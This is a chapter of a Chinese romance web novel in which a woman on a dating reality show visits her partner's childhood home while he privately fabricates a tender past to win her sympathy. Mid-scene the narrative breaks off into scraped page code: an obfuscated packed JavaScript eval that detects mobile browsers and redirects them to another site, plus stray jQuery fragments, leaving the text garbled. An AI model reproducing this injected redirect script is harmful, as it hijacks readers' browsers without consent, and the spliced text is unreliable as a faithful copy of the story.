26.Chapter26

作品:《火漆印

    被称作Jasper的褐发绿眼男人动作停顿了一下,随后无比自然地朝陆瓷这桌挥了下手,但是并没有要走过来交谈的意思,而是和另外几位来客一起坐到了离他们较远的位置。


    “他是你们的朋友吗?”陆瓷不经意地问。


    “哦,你说Jasper?他也是我们在M大的同学……”Kris立马答道,后半句再次被人打断。


    “我们跟他不熟。”Aiden补充道。


    男人朝陆瓷侧头,脸上微笑的弧度不变,似乎刚刚那一瞬间的紧张只是错觉。


    “这样啊,我本来还想要个联系方式,他完全是我闺蜜喜欢的类型。”陆瓷失望道。


    “可惜了,我们听说他已经有女友了。”Sarah友善地提示。


    陆瓷有种微妙的直觉,她好几次看向Jasper的方向,但是对方一直在与其他食客交谈,再也没有向他们这桌投来目光,于是陆瓷很快也放下了这件事。


    录制组拍完所需素材离场后,这餐饭也到达了尾声,Aiden再次提出要送陆瓷回家,这次她没有拒绝。


    Aiden开的是一台银色宾利Flying Spur,不知道是由于实干型创业者的某种坚持,还是因为想开车送她,每次见面Aiden都是自己开车。


    坐在Aiden的车后座,陆瓷开口打趣:“所以,他们说你上大学的时候很冷酷,是真的吗?”


    男人的轻笑声从前座传来:“有一点吧,那时候我不太喜欢跟人打交道,甚至有点愤世嫉俗。”


    “很难想象耶,祝先生现在这么一副温文尔雅的样子,原来之前是个厌世teenager吗?没想到你也有这种叛逆的时期。”她得寸进尺。


    “那都是7年前的事了,人总是会成长的嘛。”Aiden一手打着方向盘,认真回复道。


    “7年前……”陆瓷微怔,“所以那是你母亲离开的时候。”


    “是的,母亲离开以后,我放下了很多东西,所以我成长了很多。”Aiden道。


    后视镜里映照着男人专注看着前路的双眼,这条路的路灯不太亮,他的眼睛在稀缺的光线下晦暗莫名。


    “抱歉。”陆瓷为自己刚刚的调侃感到有点愧疚。


    随即,她想到什么:“后天就要录制互相见家人的内容,但是我们……”陆瓷没说下去后半句话。


    她嘴角泻出一丝自嘲的笑,“哈,在这方面,我们俩也算很般配了。”


    “不必担心,如果你不喜欢的话,也可以跳过这场录制,节目组会理解的。”Aiden反过来安抚她。


    “没事,我已经想好要带你去见谁了。”陆瓷道。


    “嗯,我也是。”Aiden说。


    陆瓷的公寓离餐馆不远,只是十几分钟的车程就已经到达。Aiden把车停在公寓楼下,下车为陆瓷打开车门。


    “谢谢你送我,我们后天见。”陆瓷笑着说了再见,然后就在男人的目送中走进公寓大门。


    今天这顿晚餐很棒,她真的挺开心的,但是陆瓷没有邀请男人上楼坐坐的打算,她已经决定要把控好节奏,不能再出现过火的行为。


    回到公寓,陆瓷第一时间坐在办公桌前,开始记录几位新朋友的信息,例如他们家族从事的行业、言语间透露的性格和喜好。


    干基金这一行,人脉是重中之重,人脉就等同于利益交换,等同于信息优势,也等同于稳定和强大。


    即使陆瓷的父母已经创造了一番辉煌事业,积累了可观的财富,可他们毕竟不是祖祖辈辈扎根在N市的old money,如今很多方面还是要靠陆瓷主动把握机会。


    在恋综里遇到的潜在“未婚夫”能给她带来有价值的人脉,这点也是意外之喜。能一下招揽到她和Aiden两个如此优质的嘉宾,X流媒体不愧是大平台。


    接下来的Day14没有录制安排,对其他参与者来说可能是休息日,但是对陆瓷来说又是一个去长明资本跟进度、刷存在感的好机会。


    她从清晨到下午4点多都呆在办公室,剩余的时间则是用来与基金委员会的成员一一联系。


    下一步的录制时间表已经出来了,接下来的Day15先是见Aiden的家人,Day16才轮到她,但是正如她所说,她已经想好了要带Aiden去见谁。


    她计划带Aiden去见的“家人”正是委员会的成员,这一天与他们联系也是为了征求他们的入镜意愿。


    陆瓷觉得这是一箭三雕的策略,她一思考就喜欢在脑子里列表格、画思维导图。


    箭头一,这些人将会评判她婚姻的真伪,她提前让他们与Aiden见面,这位量化天才的响亮头衔和交际能力应该能给他们留下好印象。


    箭头二,让这些愿意入镜的阿姨叔叔参与到这个过程,在综艺当中露个脸,后续某些人再想质疑她的婚姻,又会多一重阻力。


    箭头三,父母双亡的小Luna都在全国观众面前把他们称作家人了,他们又怎么舍得辜负她呢?


    当然,在她的计划开始之前,是Day15优先到来,这一天她要先去见Aiden的家人。


    她想不出Aiden会带她去见谁,不知道那个抛弃他的父亲是否还在世,就算在世,想必他们也不会有什么联系。


    也许Aiden会带她去见其他亲人,或者是某个对他很照顾的老师。


    直到陆瓷根据节目组给的地址走进那间老城区的小公寓,看到站在空荡荡的房间里等着她的男人,才知道原来Aiden和她一样,在这个世上已经没有能够相见的家人。


    录制组紧随她后到达了现场,他们刚刚在附近结束另一对CP的拍摄。


    公寓里光线偏暗,布置得简单整洁,透露着一个A国普通家庭的生活气息。


    今天他们俩都穿了一身黑,高定鞋履踩在带着划痕的木地板上,他们穿着昂贵风衣站在老城区的小公寓里,与环境产生了轻微的错位。


    陆瓷不忍心直接问Aiden为什么只有他们两个人,只是沉默着等待对方的解释。


    “这里是我小时候的家,是我母亲抚养我长大的地方。”


    Aiden开口向她介绍,神情里带着留恋,似乎在这里有着许多美好的回忆。


    “原来如此。”陆瓷了然道。


    她下意识观察起这间公寓,客厅和餐厅是连为一体的,客厅里只有一张双人沙发和几面放满书的木柜,开放式厨房内摆着长餐桌,墙壁上挂着锅具和菜板,沥水架里的碗碟基本都是清新的亮色系,冰箱门上排列着几个卡通冰箱贴,还有几张合照——是Aiden和他母亲的合照。


    这几张合照里面,Aiden是圆脸蛋的小男孩,也是稚气未脱的少年,唯独没有成年后的模样。


    “抱歉,我已经没有真正意义上的家人,也没有能够称之为家人的朋友或长辈。”


    “这座公寓是我最接近家的存在。”男人的语气很平静。


    “我认为,这个见家人的环节是为了让我们更多地了解彼此的成长经历,以及最真实的性格。”


    “关于我童年的一切,或许我可以自己亲口告诉你。”他接着说。


    陆瓷一时间愣住了,她余光看到录制组的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852319|189680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    几位工作人员都露出一副同情的神色。


    她忍不住在心里感慨,她和Aiden的这个孤儿组合真是让人心酸啊,但是想到他们在外界看来估计是一对无比般配的“美强惨”,她又觉得心里平衡了。


    Aiden站在餐桌旁边,身型依旧高大挺拔,但是他的手指挨着餐桌的桌面,仿佛这块木头上残留着某种温度。


    “好啊,”陆瓷用自己最温和的声音回答,“谢谢你,愿意带我来到你的家。”


    Aiden以客厅作为起点,带着陆瓷走过公寓的各个角落,同时娓娓道来,描绘了一个艰难但温馨的童年。


    母亲是在A国留学后定居的华人,原本在事业上升期,但是由于他的出生和父亲的离开,被迫改变了生活的轨迹。


    母亲需要独自承担这个家庭的所有责任,她在工作之余做了许多兼职,还要照顾他的生活起居,时间和金钱都总是不够用,但是母亲从来没有怪过他。


    母亲一直教导他的学习,经常陪他去公园玩,每年生日都会亲手给他做蛋糕……


    这个故事温情又琐碎,陆瓷认真地倾听。


    然而她没有发现身边的男人虽然笑着,笑意却不达眼底。


    Aiden一边讲述,一边关注着女孩的表情,他要确保她没听出他的谎言——这些童年回忆大部分都是他编造的。


    为什么要说谎?因为母亲的爱是他必不可少的故事背景,否则他这个温润包容的人设就缺乏支撑。


    一个没有被深深爱过的人,怎么可能有余力去温柔地爱别人?


    至于他的童年到底是什么样,根本无足轻重,他只会选择一个阻力最小的方式来让她动容。


    听到他描绘的童年,女孩的神情中流露出一丝向往,她也渴望这种爱吧。


    这种爱他也不懂,但是他可以描述、可以模仿,如果这种温暖的呵护就是Luna想要的爱,他可以一直这样表演下去。


    Aiden控制着自己的声调,使之沉下来,神态也有了轻微的颤动,接下来他说到故事的转折——母亲的身体被劳累压垮,得了重病,他找到父亲求助却被拒绝,最终母亲还是去世了。


    他看到女孩的双眼暗下来,眼里却多了一种更深的共情。


    来自至亲的冷漠,以及这种感到弱小无力的心情,她应该也很熟悉吧。


    “我曾经感到很愤怒,甚至是仇恨,但是这么多年过去,我创造了自己的事业,过上了母亲一直期望我拥有的生活,我想,我已经走出来了。”


    讲到这里,他用回轻松的语气,挂上释怀的微笑,只留下隐约泛红的眼眶作为破绽。


    他是那么了解Luna,他知道当她看到一个强大的人裂开缝隙,尤其是当裂缝的根源与她相似时,她就会有拯救别人的冲动。女孩的戒备背后是一种近乎痛苦的责任感。


    就是通过这种方式,他几天前在女孩的公寓里骗到她的一个吻。


    现在他又伺机而动,他背对着镜头的方向低头看着女孩,一点泪光浮现在他的眼角。


    “没事的,Aiden,不要难过。”面前的Luna说。


    “我能理解你的感受。”她又补充。


    女孩明显受到了触动,上前轻轻抱住了他,柔软的双手搭在他肩头和腰间。


    他回应了这个拥抱,用双臂环住女孩的身体,在镜头前他的动作很有分寸,力度很轻,没人能看出来他忍不住偷偷嗅闻着女孩的发香。


    Aiden知道,对于Luna来说,拥抱也许是比接吻更加亲密的事。


    用满篇的谎言,换她一个同情的拥抱,他很满足。